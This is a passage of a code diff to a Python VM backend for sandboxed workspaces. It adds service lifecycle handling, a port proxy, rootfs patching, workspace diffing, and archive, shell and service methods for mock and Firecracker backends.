env_overrides=env_overrides, + ): + service.ready_at = time.time() + return service + if time.monotonic() >= deadline: + _stop_process_group(process.pid) + service = _refresh_local_service_record(service, services_dir=services_dir) + service.state = "failed" + service.stop_reason = "readiness_timeout" + if service.ended_at is None: + service.ended_at = time.time() + return service + time.sleep(max(ready_interval_ms, 1) / 1000) + + +def _stop_local_service( + service: WorkspaceServiceRecord, + *, + services_dir: Path, +) -> WorkspaceServiceRecord: + if service.pid is None: + return service + stopped, killed = _stop_process_group(service.pid) + refreshed = _refresh_local_service_record(service, services_dir=services_dir) + if stopped: + refreshed.state = "stopped" + refreshed.stop_reason = "sigkill" if killed else "sigterm" + refreshed.ended_at = refreshed.ended_at or time.time() + return refreshed + + +def _start_workspace_published_port_proxy( + *, + services_dir: Path, + service_name: str, + workspace_id: str, + guest_ip: str, + spec: WorkspacePublishedPortSpec, +) -> WorkspacePublishedPortRecord: + ready_path = _workspace_service_port_ready_path( + services_dir, + service_name, + spec.host_port or 0, + spec.guest_port, + ) + ready_path.unlink(missing_ok=True) + command = [ + sys.executable, + "-m", + "pyro_mcp.workspace_ports", + "--listen-host", + DEFAULT_PUBLISHED_PORT_HOST, + "--listen-port", + str(spec.host_port or 0), + "--target-host", + guest_ip, + "--target-port", + str(spec.guest_port), + "--ready-file", + str(ready_path), + ] + process = subprocess.Popen( # noqa: S603 + command, + text=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + start_new_session=True, + ) + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if ready_path.exists(): + payload = json.loads(ready_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError("published port proxy ready payload is invalid") + ready_path.unlink(missing_ok=True) + return WorkspacePublishedPortRecord( + guest_port=int(payload.get("target_port", spec.guest_port)), + host_port=int(payload["host_port"]), + host=str(payload.get("host", DEFAULT_PUBLISHED_PORT_HOST)), + protocol=str(payload.get("protocol", "tcp")), + proxy_pid=process.pid, + ) + if process.poll() is not None: + raise RuntimeError( + "failed to start published port proxy for " + f"service {service_name!r} in workspace {workspace_id!r}" + ) + time.sleep(0.05) + _stop_workspace_published_port_proxy( + WorkspacePublishedPortRecord( + guest_port=spec.guest_port, + host_port=spec.host_port or 0, + proxy_pid=process.pid, + ) + ) + ready_path.unlink(missing_ok=True) + raise RuntimeError( + "timed out waiting for published port proxy readiness for " + f"service {service_name!r} in workspace {workspace_id!r}" + ) + + +def _stop_workspace_published_port_proxy(published_port: WorkspacePublishedPortRecord) -> None: + if published_port.proxy_pid is None: + return + try: + os.killpg(published_port.proxy_pid, signal.SIGTERM) + except ProcessLookupError: + return + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _pid_is_running(published_port.proxy_pid): + return + time.sleep(0.05) + try: + os.killpg(published_port.proxy_pid, signal.SIGKILL) + except ProcessLookupError: + return + + +def _instance_workspace_host_dir(instance: VmInstance) -> Path: + raw_value = instance.metadata.get("workspace_host_dir") + if raw_value is None or raw_value == "": + raise RuntimeError("workspace host directory is unavailable") + return Path(raw_value) + + +def _patch_rootfs_runtime_file( + rootfs_image: Path, + *, + source_path: Path, + destination_path: str, + asset_label: str, + file_mode: str | None = None, +) -> None: + debugfs_path = shutil.which("debugfs") + if debugfs_path is None: + raise RuntimeError("debugfs is required to seed workspaces on guest-backed runtimes") + with tempfile.TemporaryDirectory(prefix=f"pyro-{asset_label}-") as temp_dir: + staged_path = Path(temp_dir) / Path(destination_path).name + shutil.copy2(source_path, staged_path) + subprocess.run( # noqa: S603 + [debugfs_path, "-w", "-R", f"rm {destination_path}", str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + proc = subprocess.run( # noqa: S603 + [ + debugfs_path, + "-w", + "-R", + f"write {staged_path} {destination_path}", + str(rootfs_image), + ], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode == 0 and file_mode is not None: + proc = subprocess.run( # noqa: S603 + [ + debugfs_path, + "-w", + "-R", + f"set_inode_field {destination_path} mode {file_mode}", + str(rootfs_image), + ], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + raise RuntimeError( + f"failed to patch {asset_label} into workspace rootfs: " + f"{proc.stderr.strip() or proc.stdout.strip()}" + ) + + +def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"archive member would traverse through a symlinked path: {member_name}" + ) + + +def _pid_is_running(pid: int | None) -> bool: + if pid is None: + return False + process_state = _linux_process_state(pid) + if process_state == "Z": + return False + if process_state is not None: + return True + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + +def _collect_workspace_tree(root: Path) -> dict[str, WorkspaceTreeEntry]: + entries: dict[str, WorkspaceTreeEntry] = {} + + def walk(current: Path, relative_parts: tuple[str, ...] = ()) -> bool: + has_entries = False + for child in sorted(current.iterdir(), key=lambda item: item.name): + child_relative_parts = relative_parts + (child.name,) + relative_path = "/".join(child_relative_parts) + if child.is_symlink(): + entries[relative_path] = WorkspaceTreeEntry( + path=relative_path, + artifact_type="symlink", + disk_path=child, + link_target=os.readlink(child), + ) + has_entries = True + continue + if child.is_file(): + entries[relative_path] = WorkspaceTreeEntry( + path=relative_path, + artifact_type="file", + disk_path=child, + size_bytes=child.stat().st_size, + ) + has_entries = True + continue + if child.is_dir(): + child_has_entries = walk(child, child_relative_parts) + if not child_has_entries: + entries[relative_path] = WorkspaceTreeEntry( + path=relative_path, + artifact_type="directory", + disk_path=child, + ) + has_entries = True + else: + has_entries = True + continue + raise RuntimeError(f"unsupported workspace artifact type: {child}") + return has_entries + + walk(root) + return entries + + +def _is_probably_text(data: bytes) -> bool: + if b"\x00" in data: + return False + try: + data.decode("utf-8") + except UnicodeDecodeError: + return False + return True + + +def _build_text_patch( + *, + path: str, + before_text: str, + after_text: str, + status: str, +) -> str: + if status == "added": + fromfile = "/dev/null" + tofile = f"b/{path}" + elif status == "deleted": + fromfile = f"a/{path}" + tofile = "/dev/null" + else: + fromfile = f"a/{path}" + tofile = f"b/{path}" + lines = list( + difflib.unified_diff( + before_text.splitlines(keepends=True), + after_text.splitlines(keepends=True), + fromfile=fromfile, + tofile=tofile, + n=3, + ) + ) + if not lines: + return "" + return "".join(lines) + + +def _diff_workspace_trees( + baseline_root: Path, + current_root: Path, +) -> dict[str, Any]: + baseline_entries = _collect_workspace_tree(baseline_root) + current_entries = _collect_workspace_tree(current_root) + changed_entries: list[dict[str, Any]] = [] + patch_parts: list[str] = [] + summary = { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + "type_changed": 0, + "text_patched": 0, + "non_text": 0, + } + + for path in sorted(set(baseline_entries) | set(current_entries)): + baseline_entry = baseline_entries.get(path) + current_entry = current_entries.get(path) + entry_payload: dict[str, Any] | None = None + text_patch = "" + + if baseline_entry is None and current_entry is not None: + entry_payload = { + "path": path, + "status": "added", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + if current_entry.artifact_type == "file": + current_bytes = current_entry.disk_path.read_bytes() + if _is_probably_text(current_bytes): + text_patch = _build_text_patch( + path=path, + before_text="", + after_text=current_bytes.decode("utf-8"), + status="added", + ) + elif current_entry is None and baseline_entry is not None: + entry_payload = { + "path": path, + "status": "deleted", + "artifact_type": baseline_entry.artifact_type, + "text_patch": None, + } + if baseline_entry.artifact_type == "file": + baseline_bytes = baseline_entry.disk_path.read_bytes() + if _is_probably_text(baseline_bytes): + text_patch = _build_text_patch( + path=path, + before_text=baseline_bytes.decode("utf-8"), + after_text="", + status="deleted", + ) + elif baseline_entry is not None and current_entry is not None: + if baseline_entry.artifact_type != current_entry.artifact_type: + entry_payload = { + "path": path, + "status": "type_changed", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + elif current_entry.artifact_type == "directory": + continue + elif current_entry.artifact_type == "symlink": + if baseline_entry.link_target != current_entry.link_target: + entry_payload = { + "path": path, + "status": "modified", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + else: + baseline_bytes = baseline_entry.disk_path.read_bytes() + current_bytes = current_entry.disk_path.read_bytes() + if baseline_bytes == current_bytes: + continue + entry_payload = { + "path": path, + "status": "modified", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + if _is_probably_text(baseline_bytes) and _is_probably_text(current_bytes): + text_patch = _build_text_patch( + path=path, + before_text=baseline_bytes.decode("utf-8"), + after_text=current_bytes.decode("utf-8"), + status="modified", + ) + + if entry_payload is None: + continue + + summary["total"] += 1 + summary[str(entry_payload["status"])] += 1 + if text_patch != "": + entry_payload["text_patch"] = text_patch + patch_parts.append(text_patch) + summary["text_patched"] += 1 + else: + summary["non_text"] += 1 + changed_entries.append(entry_payload) + + return { + "changed": bool(changed_entries), + "summary": summary, + "entries": changed_entries, + "patch": "".join(patch_parts), + } + + class VmBackend: """Backend interface for lifecycle operations.""" @@ -112,7 +2249,13 @@ class VmBackend: raise NotImplementedError def exec( # pragma: no cover - self, instance: VmInstance, command: str, timeout_seconds: int + self, + instance: VmInstance, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + env: dict[str, str] | None = None, ) -> VmExecResult: raise NotImplementedError @@ -122,6 +2265,165 @@ class VmBackend: def delete(self, instance: VmInstance) -> None: # pragma: no cover raise NotImplementedError + def import_archive( # pragma: no cover + self, + instance: VmInstance, + *, + archive_path: Path, + destination: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def install_secrets( # pragma: no cover + self, + instance: VmInstance, + *, + archive_path: Path, + ) -> dict[str, Any]: + raise NotImplementedError + + def export_archive( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + archive_path: Path, + ) -> dict[str, Any]: + raise NotImplementedError + + def list_workspace_entries( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + recursive: bool, + ) -> dict[str, Any]: + raise NotImplementedError + + def read_workspace_file( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + max_bytes: int, + ) -> dict[str, Any]: + raise NotImplementedError + + def write_workspace_file( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + text: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def delete_workspace_path( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def open_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cwd: str, + cols: int, + rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, + ) -> dict[str, Any]: + raise NotImplementedError + + def read_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + raise NotImplementedError + + def write_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + input_text: str, + append_newline: bool, + ) -> dict[str, Any]: + raise NotImplementedError + + def signal_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + signal_name: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def close_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def start_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + env: dict[str, str] | None = None, + ) -> dict[str, Any]: + raise NotImplementedError + + def status_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def logs_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + tail_lines: int | None, + ) -> dict[str, Any]: + raise NotImplementedError + + def stop_service( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + raise NotImplementedError + class MockBackend(VmBackend): """Host-process backend used for development and testability.""" @@ -133,8 +2435,21 @@ class MockBackend(VmBackend): marker_path = instance.workdir / ".started" marker_path.write_text("started\n", encoding="utf-8") - def exec(self, instance: VmInstance, command: str, timeout_seconds: int) -> VmExecResult: - return _run_host_command(instance.workdir, command, timeout_seconds) + def exec( + self, + instance: VmInstance, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + env: dict[str, str] | None = None, + ) -> VmExecResult: + return _run_host_command( + workdir or instance.workdir, + command, + timeout_seconds, + env_overrides=env, + ) def stop(self, instance: VmInstance) -> None: marker_path = instance.workdir / ".stopped" @@ -143,6 +2458,315 @@ class MockBackend(VmBackend): def delete(self, instance: VmInstance) -> None: shutil.rmtree(instance.workdir, ignore_errors=True) + def import_archive( + self, + instance: VmInstance, + *, + archive_path: Path, + destination: str, + ) -> dict[str, Any]: + return _extract_seed_archive_to_host_workspace( + archive_path, + workspace_dir=_instance_workspace_host_dir(instance), + destination=destination, + ) + + def install_secrets( + self, + instance: VmInstance, + *, + archive_path: Path, + ) -> dict[str, Any]: + del instance + entry_count, bytes_written = _inspect_seed_archive(archive_path) + return { + "destination": WORKSPACE_GUEST_SECRETS_PATH, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + def export_archive( + self, + instance: VmInstance, + *, + workspace_path: str, + archive_path: Path, + ) -> dict[str, Any]: + exported = _prepare_workspace_export_archive( + workspace_dir=_instance_workspace_host_dir(instance), + workspace_path=workspace_path, + archive_path=archive_path, + ) + return { + "workspace_path": exported.workspace_path, + "artifact_type": exported.artifact_type, + "entry_count": exported.entry_count, + "bytes_written": exported.bytes_written, + "execution_mode": "host_compat", + } + + def list_workspace_entries( + self, + instance: VmInstance, + *, + workspace_path: str, + recursive: bool, + ) -> dict[str, Any]: + listing = list_workspace_files( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + recursive=recursive, + ) + return { + "path": listing.path, + "artifact_type": listing.artifact_type, + "entries": [entry.to_payload() for entry in listing.entries], + "execution_mode": "host_compat", + } + + def read_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + max_bytes: int, + ) -> dict[str, Any]: + file_result = read_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + max_bytes=max_bytes, + ) + return { + "path": file_result.path, + "size_bytes": file_result.size_bytes, + "content_bytes": file_result.content_bytes, + "execution_mode": "host_compat", + } + + def write_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + text: str, + ) -> dict[str, Any]: + result = write_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + text=text, + ) + return { + "path": result.path, + "size_bytes": result.size_bytes, + "bytes_written": result.bytes_written, + "execution_mode": "host_compat", + } + + def delete_workspace_path( + self, + instance: VmInstance, + *, + workspace_path: str, + ) -> dict[str, Any]: + result = delete_workspace_path( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + ) + return { + "path": result.path, + "deleted": result.deleted, + "execution_mode": "host_compat", + } + + def open_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cwd: str, + cols: int, + rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, + ) -> dict[str, Any]: + session = create_local_shell( + workspace_id=workspace_id, + shell_id=shell_id, + cwd=_workspace_host_destination(_instance_workspace_host_dir(instance), cwd), + display_cwd=cwd, + cols=cols, + rows=rows, + env_overrides=env, + redact_values=redact_values, + ) + summary = session.summary() + summary["execution_mode"] = "host_compat" + return summary + + def read_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + del instance + session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) + payload = session.read(cursor=cursor, max_chars=max_chars) + payload["execution_mode"] = "host_compat" + return payload + + def write_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + input_text: str, + append_newline: bool, + ) -> dict[str, Any]: + del instance + session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) + payload = session.write(input_text, append_newline=append_newline) + payload["execution_mode"] = "host_compat" + return payload + + def signal_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + signal_name: str, + ) -> dict[str, Any]: + del instance + session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) + payload = session.send_signal(signal_name) + payload["execution_mode"] = "host_compat" + return payload + + def close_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + del instance + session = remove_local_shell(workspace_id=workspace_id, shell_id=shell_id) + if session is None: + raise ValueError(f"shell {shell_id!r} does not exist in workspace {workspace_id!r}") + payload = session.close() + payload["execution_mode"] = "host_compat" + return payload + + def start_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + env: dict[str, str] | None = None, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = _start_local_service( + services_dir=services_dir, + workspace_dir=_instance_workspace_host_dir(instance), + workspace_id=workspace_id, + service_name=service_name, + command=command, + cwd_text=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + env_overrides=env, + ) + return service.to_payload() + + def status_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = self._load_workspace_service(services_dir, workspace_id, service_name) + refreshed = _refresh_local_service_record( + service, + services_dir=services_dir, + ) + return refreshed.to_payload() + + def logs_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + tail_lines: int | None, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = self._load_workspace_service(services_dir, workspace_id, service_name) + refreshed = _refresh_local_service_record(service, services_dir=services_dir) + payload = refreshed.to_payload() + stdout, stdout_truncated = _tail_text( + _workspace_service_stdout_path(services_dir, service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_text( + _workspace_service_stderr_path(services_dir, service_name), + tail_lines=tail_lines, + ) + payload.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return payload + + def stop_service( + self, + instance: VmInstance, + *, + workspace_id: str, + service_name: str, + ) -> dict[str, Any]: + services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME + service = self._load_workspace_service(services_dir, workspace_id, service_name) + stopped = _stop_local_service( + service, + services_dir=services_dir, + ) + return stopped.to_payload() + + def _load_workspace_service( + self, + services_dir: Path, + workspace_id: str, + service_name: str, + ) -> WorkspaceServiceRecord: + record_path = services_dir / f"{service_name}.json" + if not record_path.exists(): + raise ValueError( + f"service {service_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record at {record_path} is invalid") + return WorkspaceServiceRecord.from_payload(payload) + class FirecrackerBackend(VmBackend): # pragma: no cover """Host-gated backend that validates Firecracker prerequisites.""" @@ -207,6 +2831,11 @@ class FirecrackerBackend(VmBackend): # pragma: no cover def start(self, instance: VmInstance) -> None: launch_plan = build_launch_plan(instance) + for stale_socket_path in ( + launch_plan.api_socket_path, + instance.workdir / "vsock.sock", + ): + stale_socket_path.unlink(missing_ok=True) instance.metadata["firecracker_config_path"] = str(launch_plan.config_path) instance.metadata["guest_network_path"] = str(launch_plan.guest_network_path) instance.metadata["guest_exec_path"] = str(launch_plan.guest_exec_path) @@ -249,6 +2878,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover stdout=serial_fp, stderr=subprocess.STDOUT, text=True, + start_new_session=True, ) self._processes[instance.vm_id] = process time.sleep(2) @@ -262,11 +2892,19 @@ class FirecrackerBackend(VmBackend): # pragma: no cover ) instance.firecracker_pid = process.pid instance.metadata["execution_mode"] = ( - "guest_vsock" if self._runtime_capabilities.supports_guest_exec else "host_compat" + "guest_vsock" if self._runtime_capabilities.supports_guest_exec else "guest_boot_only" ) instance.metadata["boot_mode"] = "native" - def exec(self, instance: VmInstance, command: str, timeout_seconds: int) -> VmExecResult: + def exec( + self, + instance: VmInstance, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + env: dict[str, str] | None = None, + ) -> VmExecResult: if self._runtime_capabilities.supports_guest_exec: guest_cid = int(instance.metadata["guest_cid"]) port = int(instance.metadata["guest_exec_port"]) @@ -279,6 +2917,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover port, command, timeout_seconds, + env=env, uds_path=uds_path, ) break @@ -295,7 +2934,12 @@ class FirecrackerBackend(VmBackend): # pragma: no cover duration_ms=response.duration_ms, ) instance.metadata["execution_mode"] = "host_compat" - return _run_host_command(instance.workdir, command, timeout_seconds) + return _run_host_command( + workdir or instance.workdir, + command, + timeout_seconds, + env_overrides=env, + ) def stop(self, instance: VmInstance) -> None: process = self._processes.pop(instance.vm_id, None) @@ -332,9 +2976,571 @@ class FirecrackerBackend(VmBackend): # pragma: no cover self._network_manager.cleanup(instance.network) shutil.rmtree(instance.workdir, ignore_errors=True) + def import_archive( + self, + instance: VmInstance, + *, + archive_path: Path, + destination: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + deadline = time.monotonic() + 10 + while True: + try: + response = self._guest_exec_client.upload_archive( + guest_cid, + port, + archive_path, + destination=destination, + timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, + uds_path=uds_path, + ) + return { + "destination": response.destination, + "entry_count": response.entry_count, + "bytes_written": response.bytes_written, + } + except (OSError, RuntimeError) as exc: + if time.monotonic() >= deadline: + raise RuntimeError( + f"guest archive transport did not become ready: {exc}" + ) from exc + time.sleep(0.2) + instance.metadata["execution_mode"] = "host_compat" + return _extract_seed_archive_to_host_workspace( + archive_path, + workspace_dir=_instance_workspace_host_dir(instance), + destination=destination, + ) + + def install_secrets( + self, + instance: VmInstance, + *, + archive_path: Path, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + deadline = time.monotonic() + 10 + while True: + try: + response = self._guest_exec_client.install_secrets( + guest_cid, + port, + archive_path, + timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, + uds_path=uds_path, + ) + return { + "destination": response.destination, + "entry_count": response.entry_count, + "bytes_written": response.bytes_written, + } + except (OSError, RuntimeError) as exc: + if time.monotonic() >= deadline: + raise RuntimeError( + f"guest secret transport did not become ready: {exc}" + ) from exc + time.sleep(0.2) + raise RuntimeError("workspace secrets require guest execution") + + def export_archive( + self, + instance: VmInstance, + *, + workspace_path: str, + archive_path: Path, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + deadline = time.monotonic() + 10 + while True: + try: + response = self._guest_exec_client.export_archive( + guest_cid, + port, + workspace_path=workspace_path, + archive_path=archive_path, + timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, + uds_path=uds_path, + ) + return { + "workspace_path": response.workspace_path, + "artifact_type": response.artifact_type, + "entry_count": response.entry_count, + "bytes_written": response.bytes_written, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + except (OSError, RuntimeError) as exc: + if time.monotonic() >= deadline: + raise RuntimeError( + f"guest export transport did not become ready: {exc}" + ) from exc + time.sleep(0.2) + instance.metadata["execution_mode"] = "host_compat" + exported = _prepare_workspace_export_archive( + workspace_dir=_instance_workspace_host_dir(instance), + workspace_path=workspace_path, + archive_path=archive_path, + ) + return { + "workspace_path": exported.workspace_path, + "artifact_type": exported.artifact_type, + "entry_count": exported.entry_count, + "bytes_written": exported.bytes_written, + "execution_mode": "host_compat", + } + + def list_workspace_entries( + self, + instance: VmInstance, + *, + workspace_path: str, + recursive: bool, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.list_workspace_entries( + guest_cid, + port, + workspace_path=workspace_path, + recursive=recursive, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + listing = list_workspace_files( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + recursive=recursive, + ) + return { + "path": listing.path, + "artifact_type": listing.artifact_type, + "entries": [entry.to_payload() for entry in listing.entries], + "execution_mode": "host_compat", + } + + def read_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + max_bytes: int, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.read_workspace_file( + guest_cid, + port, + workspace_path=workspace_path, + max_bytes=max_bytes, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + file_result = read_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + max_bytes=max_bytes, + ) + return { + "path": file_result.path, + "size_bytes": file_result.size_bytes, + "content_bytes": file_result.content_bytes, + "execution_mode": "host_compat", + } + + def write_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + text: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.write_workspace_file( + guest_cid, + port, + workspace_path=workspace_path, + text=text, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + result = write_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + text=text, + ) + return { + "path": result.path, + "size_bytes": result.size_bytes, + "bytes_written": result.bytes_written, + "execution_mode": "host_compat", + } + + def delete_workspace_path( + self, + instance: VmInstance, + *, + workspace_path: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.delete_workspace_path( + guest_cid, + port, + workspace_path=workspace_path, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + result = delete_workspace_path( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + ) + return { + "path": result.path, + "deleted": result.deleted, + "execution_mode": "host_compat", + } + + def open_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cwd: str, + cols: int, + rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + response = self._guest_exec_client.open_shell( + guest_cid, + port, + shell_id=shell_id, + cwd=cwd, + cols=cols, + rows=rows, + env=env, + redact_values=redact_values, + uds_path=uds_path, + ) + return { + "shell_id": response.shell_id or shell_id, + "cwd": response.cwd, + "cols": response.cols, + "rows": response.rows, + "state": response.state, + "started_at": response.started_at, + "ended_at": response.ended_at, + "exit_code": response.exit_code, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + + def read_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + response = self._guest_exec_client.read_shell( + guest_cid, + port, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + uds_path=uds_path, + ) + return { + "shell_id": response.shell_id, + "cwd": response.cwd, + "cols": response.cols, + "rows": response.rows, + "state": response.state, + "started_at": response.started_at, + "ended_at": response.ended_at, + "exit_code": response.exit_code, + "cursor": response.cursor, + "next_cursor": response.next_cursor, + "output": response.output, + "truncated": response.truncated, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + + def write_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + input_text: str, + append_newline: bool, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.write_shell( + guest_cid, + port, + shell_id=shell_id, + input_text=input_text, + append_newline=append_newline, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + + def signal_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + signal_name: str, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = 